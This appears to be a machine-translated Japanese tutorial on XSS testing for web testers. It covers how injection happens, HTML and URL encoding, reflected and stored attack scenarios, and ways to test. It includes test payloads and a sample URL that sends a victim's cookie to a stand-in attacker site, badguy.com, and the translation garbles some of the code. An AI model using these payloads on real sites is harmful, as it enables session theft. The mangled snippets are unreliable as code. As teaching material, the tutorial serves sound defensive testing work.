XSSのWebセキュリティテスト
XSSフルネーム(クロスサイトスクリプト)クロスサイトスクリプト攻撃は、Webプログラムで最も一般的な脆弱性です。これは、攻撃者がクライアントスクリプト(JavaScriptなど)をWebページに埋め込むことを指します。ユーザーがこのWebページを参照すると、スクリプトはユーザーのブラウザで実行され、攻撃者の目的を達成します。たとえば、ユーザーのCookieの取得、悪意のあるWebサイトへのナビゲート、トロイの木馬など。
テスターとして、XSSの原則、攻撃シナリオ、およびそれらを修正する方法を理解する必要があります。 XSSを効果的に防止することによってのみ。
内容を読む
XSSはどのように起こりますか
以下にテキストボックスがある場合
<入力型= "text" name = "address1" value = "value1from">
value1 -fromはユーザーからの入力です。ユーザーがvalue1romを入力せず、 "/><script> alert(document.cookie)</script>< !-に入る場合、それは
<入力型= "text" name = "address1" value = ""/> <script> alert(document.cookie)</script> <! - ">
埋め込まれたJavaScriptコードが実行されます
または、ユーザーは「onfocus =」alert(document.cookie)に入ります
<入力型= "text" name = "address1" value = "" onfocus = "alert(document.cookie)">
イベントがトリガーされると、埋め込まれたJavaScriptコードが実行されます
攻撃の力は、ユーザーが入力するスクリプトに依存します
もちろん、ユーザーが送信したデータは、QueryString(URLに配置)およびCookieを介してサーバーに送信することもできます。たとえば、次の図
HTMLエンコード
XSSは、ユーザーによって入力されたデータがコードになるために発生します。そのため、ユーザーが入力したデータでHTMLエンコード処理を実行する必要があります。 「ブラケット」、「単一の引用」、「引用」などの特殊文字をエンコードします。
既に利用可能な方法はC#で提供されています。httputility.htmlencode( "String <sritp>")に電話してください。 (System.Webアセンブリを必要とする)
Fiddlerは非常に便利なツールも提供しています。ツールバーの「TextWizard」ボタンをクリックします
XSS攻撃シナリオ
1. DOMベースのXSS脆弱性攻撃プロセスは次のとおりです
トムは、被害者のページでXSSの脆弱性を発見しました。
例:http://victim.com/search.asp?term=apple
サーバー内のsearch.aspページのコードは、ほぼ次のようです
<html> <title> </title> <body> <%reequest.querystring( "ターム")%> ... </body> </html>の結果
トムは最初にウェブサイトhttp://badguy.comを作成して、「盗み」から情報を受け取ります。
その後、トムは悪意のあるURLを構築し(次のように)、何らかの方法でモニカに送信します(電子メール、QQ)
http://victim.com/search.asp?term= <script> window.open( "http://badguy.com?cookie="+document.cookie)</scrip>
MonicaはこのURLをクリックし、URLに埋め込まれた悪意のあるJavaScriptコードがMonicaのブラウザで実行されます。その後、被害者のウェブサイトにあるモニカのCookieは、BadGuy Webサイトに送信されます。このようにして、Monicaの犠牲者に関する情報はトムによって盗まれました。
2。XSS(保存されたXSS脆弱性)の保存されたこのタイプは、広く使用されている脆弱性であり、大規模なWebサーバーのセキュリティに影響を与える可能性があります。攻撃者は攻撃スクリプトをWebサーバーにアップロードし、ページにアクセスするすべてのユーザーに情報漏れの可能性に直面します。攻撃プロセスは次のとおりです
Alexは、サイトAでXSSの脆弱性を発見し、攻撃コードをデータベースに保存できるようにしました。
Alexは、悪意のあるJavaScriptコードが埋め込まれた記事を公開しています。
モニカなどの他の人々がこの記事にアクセスすると、記事に埋め込まれた悪意のあるJavaScriptコードがモニカのブラウザに実行され、そのセッションCookieまたはその他の情報はAlexによって盗まれます。
DOMベースのXSSの脆弱性は個々のユーザーを脅かし、保存されたXSSの脆弱性は多数のユーザーを脅かします。
XSS脆弱性修正
原則:顧客が入力したデータを信頼しないでください
注:攻撃コードは、必ずしも<script> </script>にあるとは限りません
XSSの脆弱性をテストする方法
方法1:コードを表示し、キー変数を見つけます。クライアントはデータをWebサーバーに送信します。一般に、3つの方法で、クエリストリング、フォームフォーム、およびCookie。たとえば、ASPプログラムでは、クライアントの変数がリクエストオブジェクトを介して取得されます。
<%StruserCode = request.queryString( "code"); struser = request.form( "user"); strid = request.cookies( "id");%>
変数がHTMLENCODEによって処理されない場合、この変数にXSSの脆弱性があります
方法2:テストスクリプトを準備します。
"/> <script> lert(document.cookie)</script>
データを入力できるテキストボックスまたはその他の場所で、これらのテストスクリプトを入力して、ダイアログボックスがポップアップできるかどうかを確認します。ポップアップできれば、XSSの脆弱性があることを意味します
どの変数がURLを介してWebサーバーに渡されるかを確認し、これらの変数の値をテストスクリプトに返します。次に、スクリプトを実行できるかどうかを確認します
方法3:XSSの脆弱性を自動的にテストします
現在、多くのXSSスキャンツールが利用可能です。 XSS自動テストの実装は非常に簡単です。HTTPWEBREQUESTクラスを使用するだけです。 XSSテストスクリプトを入れます。 Webサーバーに送信します。次に、XSSテストスクリプトがhttpwebresponseに挿入されているかどうかを確認します。
HTMLエンコードとURLエンコードの違い
最初は、私は常にこれらの2つのことを混乱させましたが、実際には2つの異なることでした。
HTMLエンコーディングは以前に導入されました。 URLエンコーディングは、URL仕様に準拠することです。標準のURL仕様では、中国語および多くの文字がURLに表示されないためです。
たとえば、Baiduで「漢字をテストする」ことを検索します。 URLはなります
http://www.baidu.com/s?wd=%b2%E2%Ca%D4%BA%BA%D7%D6&RSV_BP=0&RSV_SPT = 3&inputt=7477
URLエンコーディングは次のとおりです。すべての非アルファン次第の文字は、2つの16進数が続くパーセント記号(%)に置き換えられ、スペースはプラス記号(+)としてエンコードされます。
既に利用可能な方法はC#で提供されています。httputility.urlencode( "String <Scritp>")に電話してください。 (System.Webアセンブリを必要とする)
Fiddlerは非常に便利なツールも提供しています。ツールバーの「TextWizard」ボタンをクリックします
ブラウザでXSSフィルター
XSSの発生を防ぐために、多くのブラウザメーカーがブラウザにセキュリティメカニズムを追加してXSSをフィルタリングしています。たとえば、IE8、IE9、Firefox、Chrome。すべてにXSSのセキュリティメカニズムがあります。ブラウザはXSSをブロックします。たとえば、次の写真
テストを行う必要がある場合は、IE7を使用するのが最善です。
ASP.NETのXSSセキュリティメカニズム
ASP.NETには、XSSを防ぐメカニズムがあります。提出されたフォームは、XSSが存在するかどうかを自動的に確認します。ユーザーがXSSコードを入力しようとすると、ASP.NETは次の図に示すようにエラーをスローします。
多くのプログラマーはセキュリティについて知りません。XSSがあることさえ知りません。この時点では、デフォルトでASP.NETが安全です。このようにして、セキュリティ認識のないプログラマーでさえ「より安全なウェブサイト」を書くことができます。
このセキュリティ機能を無効にしたい場合は、<%@ page validaterequest = "false"%>を使用できます。
上記は、WebセキュリティテストXSSです。将来、関連するソフトウェアテスト資料を整理し続けます。このサイトへのご支援ありがとうございます!